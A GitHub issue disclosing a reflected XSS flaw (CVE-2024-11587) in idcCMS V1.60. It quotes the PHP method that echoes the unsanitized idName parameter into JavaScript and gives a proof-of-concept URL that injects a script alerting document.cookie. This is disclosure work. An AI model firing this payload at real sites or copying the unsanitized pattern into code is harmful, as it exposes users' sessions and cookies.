Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

idcCMS V1.60 has a reflected XSS vulnerability #75

Open
Hebing123 opened this issue Nov 12, 2024 · 1 comment
Open

idcCMS V1.60 has a reflected XSS vulnerability #75

Hebing123 opened this issue Nov 12, 2024 · 1 comment

Comments

@Hebing123
Copy link
Owner

Hebing123 commented Nov 12, 2024

Summary

A reflected Cross Site Scripting (XSS) vulnerability exists in idcCMS V1.60 due to improper sanitization of the $idName parameter in /inc/classProvCity.php.

Details

idcCMS V1.60 suffers from a Reflected Cross Site Scripting (XSS) vulnerability due to improper sanitization of the $idName parameter within the GetCityOptionJs method of the ProvCity class. This vulnerability can be exploited by an attacker to inject malicious scripts into the web application, which can then be executed in the browsers of other users.

// ···
class ProvCity{

	// 获取城市数据
	public static function GetDeal(){
		$idName		= trim(@$_GET['idName']);
		$prov		= trim(@$_GET['prov']);

		echo(ProvCity::GetCityOptionJs($idName, $prov, ''));
	}
// ···
	public static function GetCityOptionJs($idName,$prov,$defVal='no'){
		$provArr = self::GetCityArr($prov);

		$retStr = 'document.getElementById("'. $idName .'").options.length=0;';
		if ($defVal != 'no'){
			if (count($provArr) == 0 && strlen($defVal) == 0){
				$retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("请先选择省份",""));';
			}else{
				$retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("'. $defVal .'",""));';
			}
		}
		foreach ($provArr as $val){
			$retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("'. $val .'","'. $val .'"));';
		}
		return $retStr;
	}
}

Proof of Concept (POC)

http://target-ip/read.php?idName=1%3Cscript%3Ealert(document.cookie)%3C/script%3E&mudi=getCityData
image

@Hebing123
Copy link
Owner Author

Hebing123 commented Nov 21, 2024

CVE-2024-11587

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant